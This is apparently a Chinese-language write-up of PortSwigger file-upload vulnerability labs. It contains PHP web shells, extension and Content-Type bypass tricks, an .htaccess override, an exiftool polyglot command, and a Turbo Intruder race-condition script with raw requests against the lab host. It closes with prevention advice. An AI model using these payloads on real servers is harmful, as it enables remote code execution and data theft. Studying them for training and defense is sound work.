寫在前面
該文章是作者在PortSwigger的文件上傳漏洞靶場訓練的過程記錄以及學習筆記
使用的工具為BurpSuite Pro
漏洞簡介
文件上傳漏洞通常指應用對用户上傳的文件沒有完善的檢驗,允許攻擊者通過Web應用程序上傳惡意文件到服務器,然後通過這些惡意文件來進行執行任意代碼,在客户端影響用户等攻擊
lab1:通過上傳web shell來遠程執行命令
lab地址:Remote code execution via web shell upload
<?php echo file_get_contents('/home/carlos/secret'); ?>
該lab沒有任何的防禦措施,直接上傳php腳本即可,訪問拿到密鑰通過
lab2:繞過Content-Type限制上傳web shell
lab地址:Web shell upload via Content-Type restriction bypass
某些情景下,web應用可能通過請求中Content-Type字段判斷上傳文件的類型,這種時候我們可以上傳腳本,抓包,修改Content-Type來繞過限制
該lab直接上傳腳本會被攔截
修改Content-Type的值為image/jpeg,成功上傳
lab3:通過路徑遍歷上傳web shell
lab地址:Web shell upload via path traversal
某些情景下,web應用會對存放用户上傳文件的文件夾做限制,可能不給執行文件的權限,這種情況下,可以嘗試通過路徑遍歷的方式上傳文件到其他文件夾
打開lab,嘗試通過路徑遍歷上傳文件,發現路徑遍歷序列(../)被過濾了
嘗試對路徑遍歷序列進行url編碼,發現上傳成功
讀取上傳的文件,注意路徑是上一級目錄
lab4:繞過文件擴展名黑名單上傳web shell
lab地址:Web shell upload via extension blacklist bypass
某些情景下,web應用對用户上傳的文件的擴展名做了限制,但是使用的是黑名單機制,這種情況下,我們可以嘗試用以下幾種方式進行繞過
- 使用不常見的後綴名:
php5,pht,phpt,phtml,php3,php4,php5,php6 - 使用大小寫:
.pHp - 重寫服務器配置文件:apache的
.htaccess或者IIS的web.config - 使用多擴展名,譬如
example.php.jpg,這種方式依賴於服務器如何解析文件,如果服務器從前往後解析,並且解析到第一個擴展名就停止解析,則該文件會被當作example.php存儲 - 添加尾隨字符,有些組件可能會過濾或忽視文件名末尾的空格或小數點,譬如
example.php.或example.php(末尾有一個空格) - 嘗試使用url編碼,譬如:
example%2ephp - 再文件擴展名前添加分號或者url編碼的空字符,譬如:
example.php;jpg或example.php%00.jpg - 使用多字節Unicode字符,譬如Unicode字符序列:
xC0 xAE,xC4 xAE,xC0 x2E再utf-8編碼下可能轉化為x2E,然後轉化為ASCII字符使用
該lab使用的是apache的web容器,不解析php5後綴的文件,我們可以分兩步走,第一次先上傳.htaccess文件,文件內容如下
AddType application/x-httpd-php .php5
第二次再上傳php5文件,然後訪問拿到密鑰字符串
lab5:通過混淆擴展名上傳web shell
lab地址:Web shell upload via obfuscated file extension
該lab的目的還是對黑名單的繞過,使用多擴展名和空字符隔斷來達成目的
lab6:通過上傳多態web shell來遠程執行命令
lab地址:Remote code execution via polyglot web shell upload
某些情景下,web應用會對上傳文件的內容做校驗,如果沒有識別到預期的特徵碼,則會報錯。譬如jepg文件以字節FF D8 FF開頭,如果web應用沒有在文件開頭檢測到FF D8 FF,則不予通過。這種情況下,可以通過exiftool或其他工具來修改文件元數據,插入腳本生成多態jpeg文件進行繞過
exiftool命令:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
lab7:通過條件競爭上傳web shell
lab地址:Web shell upload via race condition
某些情景下,web應用會先將文件存放在文件夾, 然後對文件進行檢驗,如果檢驗不通過,則刪除文件。
這種情況下,檢驗文件需要花費時間,可以嘗試通過條件競爭(也就是併發請求)來訪問上傳的文件
通過該lab的過程使用了burpsuite的Turbo Intruder插件,可以從插件商店獲取
思路如下:先上傳腳本文件,然後併發請求腳本文件
將上傳文件的post請求發送到Turbo Intruder中
運行腳本,得到的返回結果中有一個狀態碼200的響應
Turbo Intruder腳本如下:
request1就是上傳腳本的post請求,request2就是訪問腳本的get請求
def queueRequests(target, wordlists):
# 創建一個請求引擎實例,設置目標端點和併發連接數為10
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
# 定義第一個請求,發送一個包含PHP shell代碼的POST請求
request1 = '''POST /my-account/avatar HTTP/2
Host: 0a8200ab04ec07fd87f9a81900cc0007.web-security-academy.net
Cookie: session=YTriMl41vQC9ht9ZUUlTsG0N3Hvhyv1K
Content-Length: 474
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a8200ab04ec07fd87f9a81900cc0007.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Enuwu47MKXZU1BO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8200ab04ec07fd87f9a81900cc0007.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
------WebKitFormBoundary5Enuwu47MKXZU1BO
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary5Enuwu47MKXZU1BO
Content-Disposition: form-data; name="user"
wiener
------WebKitFormBoundary5Enuwu47MKXZU1BO
Content-Disposition: form-data; name="csrf"
ZrWXP2w3ZBEPRTeru2qZyfPvSMtAo8Vl
------WebKitFormBoundary5Enuwu47MKXZU1BO--
'''
# 定義第二個請求,發送一個GET請求來訪問上傳的PHP shell文件
request2 = '''GET /files/avatars/shell.php HTTP/2
Host: 0a8200ab04ec07fd87f9a81900cc0007.web-security-academy.net
Cookie: session=YTriMl41vQC9ht9ZUUlTsG0N3Hvhyv1K
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a8200ab04ec07fd87f9a81900cc0007.web-security-academy.net/my-account/avatar
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
'''
# 使用 'race1' 標籤將第一個請求排隊,並阻止該請求的最後一個字節直到調用 openGate
engine.queue(request1, gate='race1')
# 將第二個請求排隊5次,使用相同的 'race1' 標籤
for x in range(5):
engine.queue(request2, gate='race1')
# 等待所有帶有 'race1' 標籤的請求準備就緒
# 然後發送每個請求的最後一個字節
# (此方法是非阻塞的,就像 queue 方法一樣)
engine.openGate('race1')
# 完成所有請求,設置超時時間為60秒
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
文件上傳漏洞非RCE利用
Stored-XSS
上傳包含JavaScript代碼或內聯JavaScript的腳本文件,如果在其它頁面被用户訪問,就可以造成XSS漏洞
XXE
如果系統正確,安全的對上傳文件進行處理和存儲,可以嘗試在解析文件過程中測試漏洞,例如解析Microsoft Office的docx文件,xls文件等類型的文件,可能會有xxe漏洞的風險
如何防止文件上傳
防止文件上傳漏洞的產生需要一套組合拳,組合如下:
- 限制上傳文件的後綴,推薦採用白名單而非黑名單機制,黑名單機制非常容易出現不全面的情況,導致被繞過
- 確保上傳文件的文件名沒有包含可能被當作目錄或目錄遍歷序列(
../)的字符串 - 重命名上傳文件,避免已存在文件被重寫(主要是避免配置文件被重寫)
- 在徹底檢驗通過前不要將文件上傳到服務器的文件系統
- 如果可能,最好使用穩定,成熟的框架來處理文件上傳,而不是使用自己寫的校驗機制